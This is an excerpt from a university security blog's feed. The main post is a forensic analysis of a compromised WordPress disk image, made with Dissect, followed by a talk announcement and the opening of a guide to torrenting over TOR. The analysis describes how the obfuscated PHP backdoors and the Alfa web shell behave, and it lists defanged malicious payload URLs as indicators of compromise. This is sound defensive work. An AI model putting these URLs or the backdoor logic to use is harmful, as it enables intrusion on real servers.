<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-query -q wordpress.qcow2 -f walkfs | rdump -m csv &gt; filesystem.csv</span><br></div></code></pre></div></div>
<p>The metadata saved by Dissect for each filesystem entry includes, among others, fields like access time (<code>atime</code>), modification time (<code>mtime</code>), change time (<code>ctime</code>), birth time (<code>btime</code>), permissions (<code>mode</code>), <code>path</code>, <code>uid</code> and <code>gid</code>:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-query -q wordpress.qcow2 -f walkfs --limit 2 | rdump -l</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">RecordDescriptor("filesystem/entry", [</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("string", "hostname"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("string", "domain"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("datetime", "atime"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("datetime", "mtime"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("datetime", "ctime"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("datetime", "btime"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("varint", "ino"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("path", "path"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("filesize", "size"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("uint32", "mode"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("uint32", "uid"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("uint32", "gid"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("string[]", "fstypes"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("string", "_source"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("string", "_classification"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("datetime", "_generated"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">    ("varint", "_version"),</span><br></div><div class="token-line" style="color:#000000"><span class="token output">])</span><br></div></code></pre></div></div>
<p>To narrow down the files created on the last activity day, we filtered the raw data as following:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">awk -F, '$6 ~ /^2025-04-15/' filesystem_entries.csv | cut -d, -f3,4,5,6,8,9,10 &gt; btime_2025-04-15.csv</span><br></div></code></pre></div></div>
<p>If we look into <code>btime_2025-04-15.csv</code>, we'll notice some files that are usually created daily such as logs, backups or caches.
Apart from that, there are a suspicious amount of files created in the static content of the WordPress compromised domain:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">cat btime_2025-04-15.csv | sort -k4 | cut -d, -f5</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">/srv/www/wp_domain/wp-content/defaults.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/item.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/mah.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/code-snippets/dist/editor-themes/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/code-snippets/js/manage/click.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build-module/interactivity-router/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/customize-widgets/mah.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/edit-site/plugins.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/themes/twentynineteen/sass/typography/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/themes/twentyseventeen/template-parts/footer/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/wp-log1n.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/react-refresh-entry/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/add-search-to-menu/public/css/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/code-snippets/php/admin-menus/wp-log1n.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/file-manager-advanced/application/library/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/file-manager-advanced/application/pages/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/folders/assets/images/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/folders/templates/admin/networks.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-editor/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-serialization-default-parser/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-serialization-spec-parser/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/blocks/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/core-data/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/dom/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/edit-post/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/element/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/format-library/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/hooks/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/i18n/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/router/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/assets/images/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/assets/lib/networks.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/includes/mtapi/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/wp-file-manager/lib/img/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/themes/twentyeleven/images/headers/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/themes/twentytwentyone/template-parts/header/index.php</span><br></div></code></pre></div></div>
<p>It looks like we've already stumbled upon some suspicious files such as <code>wp-log1n.php</code> or <code>mah.php</code>, but let's not get ahead of ourselves.</p>
<p>When a WordPress server is infected, the attackers are typically dropping malicious files across several directories (<code>plugins</code>, <code>themes</code>, <code>wp-content</code>) to plant multiple backdoors. So, let's not get intimidated by the numbers of suspicious scripts and see how many unique ones we are actually dealing with.</p>
<p>Using file hashing, we can quickly group duplicates and we can also check them against known external malware databases such as <a href="https://www.virustotal.com/" target="_blank" rel="noopener noreferrer" class="">VirusTotal</a> to confirm if they are suspicious indeed.</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">cat btime_2025-04-15.csv | sort -k4 | cut -d, -f5 | grep "srv/www/wp_domain" | xargs -I{} sh -c 'target-fs -q wordpress.qcow2 cat "{}" | sha256sum' &gt; server_files_sha256sum.csv</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/artefacts_shasums-001e9367b3a6bed20a337afe13182de6.png" width="997" height="726" class="img_ev3q"></p>
<p>By submitting these hashes to VirusTotal reveals that all of them are some kind of PHP backdoor, shellcode or trojan:</p>
<p><img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/vt_file_results-6c3cdc848c2e79118861b0edf495708f.png" width="1834" height="930" class="img_ev3q"></p>
<p>Attempting to take a peek through each of them, we made the following observations:</p>
<ul>
<li class="">the code is obfuscated PHP - it contains random variable names and <code>goto</code> chains.</li>
<li class="">many files have similar content, but the <code>goto</code> tags and the random variable names are leading to different hashes, despite the content being quite similar.</li>
</ul>
<p>Upon further inspection, we found some low hanging fruits - in the following files, domains and suspicious URLs appear in plain text:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/mah.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-serialization-default-parser/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/hooks/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/i18n/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/assets/images/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/themes/twentytwentyone/template-parts/header/index.php</span><br></div></code></pre></div></div>
<p>These scripts contain URLs pointing to external servers, likely used to download additional payloads or send stolen data:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">hxxps://user-images[.]githubusercontent[.]com/143735067/264713238-ae810af4-c98d-421f-bbb3-1ddcc58f952a[.]jpg</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">hxxps://paste[.]myconan[.]net/495929[.]txt</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">hxxps://web[.]archive[.]org/web/20040114105613im_/</span><br></div></code></pre></div></div>
<p>We checked these URLs on VirusTotal as well:
<img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/vt_url_github_results-1cff7a29d3c41e56cd2083281c2273f5.png" width="1610" height="489" class="img_ev3q">
<img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/vt_url_myconan_results-fa0ad64d1727ef5e5c6a77e40287a639.png" width="1685" height="766" class="img_ev3q"></p>
<p>Unfortunately, not all the scripts are written in plain text.</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/defaults.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/item.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/code-snippets/dist/editor-themes/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build-module/interactivity-router/index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/gutenberg/build/edit-site/plugins.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/wp-log1n.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">/srv/www/wp_domain/wp-content/plugins/add-search-to-menu/public/css/index.php</span><br></div></code></pre></div></div>
<p>Some are heavily obfuscated:
<img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/obfuscated_curl_script-765346cc2012dbdee8b823130ddb62cd.png" width="1839" height="311" class="img_ev3q"></p>
<p>Investigating one such script revealed the following behavior:</p>
<ul>
<li class="">Initially, it tests if <code>_SESSION['secretyt']</code> is set.</li>
<li class="">If the session is not set, the script expectes a POST request that sets the query param <code>pwdyt</code> to a specific value.</li>
<li class="">If the query param is not set, the script renders an HTML form with the input <code>pwdyt</code> waiting for the correct password.</li>
<li class="">The PHP script is opening a <code>curl</code> session on a specific (malicious) external URL</li>
</ul>
<p>To retrieve the URLs from these files, we needed to deobfuscate them with the following technique:</p>
<ol>
<li class="">Decode the ASCII characters from hex, octal or decimal to the human readable character.</li>
<li class="">Follow along the chain of <code>goto</code>s that lead to the reversed final URL.</li>
</ol>
<p>Again, we found URLs to external servers, likely used to download additional payloads or shellcodes:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">hxxps://dama01[.]top/</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">hxxps://dama01[.]top/dama/old/7[.]txt</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">hxxps://dama10[.]top/dama/new/139[.]txt</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">hxxps:/raw[.]githubusercontent[.]com/brandonokk/janfiles/refs/heads/main/dama/old/142[.]txt</span><br></div></code></pre></div></div>
<p>It's clear that this wordpress instance is infected with multiple backdoors that allow the attackers to download new payloads and execute malicious code using <code>eval()</code>.</p>
<p>What's not clear is how the attack started in the first place. To actually understand that, we have to dig deeper than the day of the attack. We leveraged dissect once more - this time we are using <code>target-shell</code> to simulate a read-only shell where we can investigate freely to check for other suspicious files.</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-shell wordpress.qcow2</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">wordpress: ls -l /srv/www/wp_domain/</span><br></div><div class="token-line" style="color:#000000"><span class="token output">total 31</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000        532 2023-03-04T12:05:05.387214+00:00 .htaccess</span><br></div><div class="token-line" style="color:#000000"><span class="token output">drwxr-xr-x 1000 1000       4096 2023-01-24T11:17:06.426740+00:00 .tmb</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000     177999 2023-01-24T11:17:06.426740+00:00 1.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">drwxr-xr-x 1000 1000       4096 2023-01-24T11:17:06.426740+00:00 ALFA_DATA</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000        852 2023-01-24T11:17:06.426740+00:00 header.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000        405 2023-01-24T11:17:04.314693+00:00 index.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000        852 2023-01-24T11:17:06.426740+00:00 indexx.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000      17481 2023-01-24T11:17:06.426740+00:00 jh.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000      19915 2024-10-10T18:29:36.287834+00:00 license.txt</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000      24880 2023-01-24T11:17:06.426740+00:00 licenza.html</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000        852 2023-01-24T11:17:06.426740+00:00 news.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       1179 2023-01-24T11:17:06.426740+00:00 options.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       7409 2024-10-10T18:29:32.591767+00:00 readme.html</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000     196918 2023-01-24T11:17:06.426740+00:00 test.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       7387 2024-10-10T18:29:36.287834+00:00 wp-activate.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">drwxr-xr-x 1000 1000       4096 2024-10-10T18:29:36.287834+00:00 wp-admin</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000        351 2023-01-24T11:17:04.314693+00:00 wp-blog-header.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       2323 2024-10-10T18:29:36.287834+00:00 wp-comments-post.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       3033 2024-10-10T18:29:32.591767+00:00 wp-config-sample.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       3735 2024-11-05T08:26:48.203246+00:00 wp-config.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">dr-xr-xr-x   33   33       4096 2025-04-15T06:45:08.559303+00:00 wp-content</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       5638 2024-10-10T18:29:32.567766+00:00 wp-cron.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">drwxr-xr-x 1000 1000      12288 2024-10-10T18:29:36.395835+00:00 wp-includes</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       2502 2024-10-10T18:29:36.287834+00:00 wp-links-opml.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       3937 2024-10-10T18:29:34.339798+00:00 wp-load.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000      51238 2024-10-10T18:29:36.287834+00:00 wp-login.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       8525 2024-10-10T18:29:32.591767+00:00 wp-mail.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000      28774 2024-10-10T18:29:32.591767+00:00 wp-settings.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000      34385 2024-10-10T18:29:32.567766+00:00 wp-signup.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       4885 2024-10-10T18:29:36.287834+00:00 wp-trackback.php</span><br></div><div class="token-line" style="color:#000000"><span class="token output">-rw-r--r-- 1000 1000       3246 2024-10-10T18:29:34.339798+00:00 xmlrpc.php</span><br></div></code></pre></div></div>
<p>We noticed that there are many more suspicious files such as <code>1.php</code>, <code>jh.php</code>, <code>indexx.php</code> and so on.
The one that really picked our interest was <code>ALFA_DATA</code>. This is a signature commonly associated with the Alfa Team shell, a PHP web shell used by attackers to gain unauthorized access and control over compromised web servers.</p>
<p>Unfortunately, investigating the birth dates of these files revealed that the system was compromised a while ago:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">tree ALFA_DATA/</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">/srv/www/wp_domain/ALFA_DATA/alfacgiapi:</span><br></div><div class="token-line" style="color:#000000"><span class="token output">.htaccess</span><br></div><div class="token-line" style="color:#000000"><span class="token output">bash.alfa</span><br></div><div class="token-line" style="color:#000000"><span class="token output">perl.alfa</span><br></div><div class="token-line" style="color:#000000"><span class="token output">py.alfa</span><br></div><div class="token-line" style="color:#000000"><span class="token output"></span><br></div><div class="token-line" style="color:#000000"><span class="token output"></span><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">stat ALFA_DATA/alfacgiapi/perl.alfa</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">  File: /srv/www/wp_domain/ALFA_DATA/alfacgiapi/perl.alfa</span><br></div><div class="token-line" style="color:#000000"><span class="token output">  Size: 542       Blocks: 8    IO Block: 4096     regular file</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Device: ?     Inode: 286224      Links: 1</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Access: (0o644/-rw-r--r--)  Uid: ( 1000 )   Gid: ( 1000 )</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Access: 2023-03-17T08:22:40.829812+00:00</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Modify: 2023-01-24T11:17:06.426740+00:00</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Change: 2024-10-11T08:20:58.476943+00:00</span><br></div><div class="token-line" style="color:#000000"><span class="token output"> Birth: 2023-01-24T11:17:06.426740+00:00</span><br></div></code></pre></div></div>
<p>There are no Apache logs retained from that period of time making it impossible to identify the attack vector that lead to the first infection.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/forensic-analysis-wordpress#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
        <category label="wordpress" term="wordpress"/>
        <category label="alfa shellcode" term="alfa shellcode"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[From Honeypot to Discovery - Forensic Analysis with Dissect]]></title>
        <id>https://cybercloud.upb.ro/blog/forensic-analysis-dissect</id>
        <link href="https://cybercloud.upb.ro/blog/forensic-analysis-dissect"/>
        <updated>2025-05-21T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Analyzing infected qcow2 disk images with Dissect]]></summary>
        <content type="html"><![CDATA[<p>Join us Monday, the 26th of May, for "From Honeypot to Discovery: Forensic Analysis with Dissect".
The presentation will show you how we use <a href="https://github.com/fox-it/dissect" target="_blank" rel="noopener noreferrer" class="">Dissect</a>, an open-source tool, to investigate the content of a potentially infected <code>qcow2</code> disk image.
Then, we'll talk about how we integrate and automate the analysis of the <code>qcow2</code> snapshot images generated by our <a href="https://github.com/cowrie/cowrie" target="_blank" rel="noopener noreferrer" class="">cowrie</a>-based SSH honeypot.</p>
<p>Don't miss out, we have juicy threat intelligence stuff as well (but only for your eyes)! Register <a href="https://indico.upb.ro/event/5/" target="_blank" rel="noopener noreferrer" class="">here</a> and we'll send you an invite!</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/forensic-analysis-dissect#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[TORrenting]]></title>
        <id>https://cybercloud.upb.ro/blog/torrenting</id>
        <link href="https://cybercloud.upb.ro/blog/torrenting"/>
        <updated>2025-03-27T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[TORrenting (Downloading torrents over TOR)]]></summary>
        <content type="html"><![CDATA[<p>When talking about cybersecurity, people often think about hacking systems or actively fighting hackers.
However, one of the most important (and often considered to be boring) activities of a cybersecurity expert is to monitor (and search) for IOCs (Indicators of Compromise).
These IOCs are, then, used to detect (and prevent) attacks against your infrastructure, services or users.</p>
<p>Usually, you monitor everything that can be monitored (kinda like a Big Brother): from your devices, services to the wild, wild Internet.
While your local network is accessible, monitoring the rest of the Internet might be a really tricky task.
One of the most challenging tasks is to monitor the <a href="https://blog.talosintelligence.com/what-is-the-dark-web/" target="_blank" rel="noopener noreferrer" class="">dark web</a> since it is usually only accessible via TOR.
This blog post presents some general aspects of how a cybersecurity analyst can use TOR to analyze artifacts that can only be found on the dark web.</p>
<p>While torrenting over TOR is not recommended due to putting strain on the TOR network, the Bittorrent protocol can work over it and there might be situations where you need to be able to torrent something through TOR (such as when the tracker is also hosted on TOR).</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="requirements">Requirements<a href="https://cybercloud.upb.ro/blog/torrenting#requirements" class="hash-link" aria-label="Direct link to Requirements" title="Direct link to Requirements" translate="no">​</a></h2>
<hr>
<ul>
<li class="">a Linux machine (either a privacy focused distribution like Tails, a regular VM or a VPS)</li>
<li class="">TOR</li>
<li class="">a torrent client; this guide will use <a href="https://transmissionbt.com/" target="_blank" rel="noopener noreferrer" class="">Transmission</a>.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="setup">Setup<a href="https://cybercloud.upb.ro/blog/torrenting#setup" class="hash-link" aria-label="Direct link to Setup" title="Direct link to Setup" translate="no">​</a></h2>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="installing-and-enabling-tor">Installing and enabling TOR<a href="https://cybercloud.upb.ro/blog/torrenting#installing-and-enabling-tor" class="hash-link" aria-label="Direct link to Installing and enabling TOR" title="Direct link to Installing and enabling TOR" translate="no">​</a></h3>
<p>Install <code>tor</code> by following the <a href="https://community.torproject.org/onion-services/setup/install/" target="_blank" rel="noopener noreferrer" class="">instructions listed here</a>.</p>
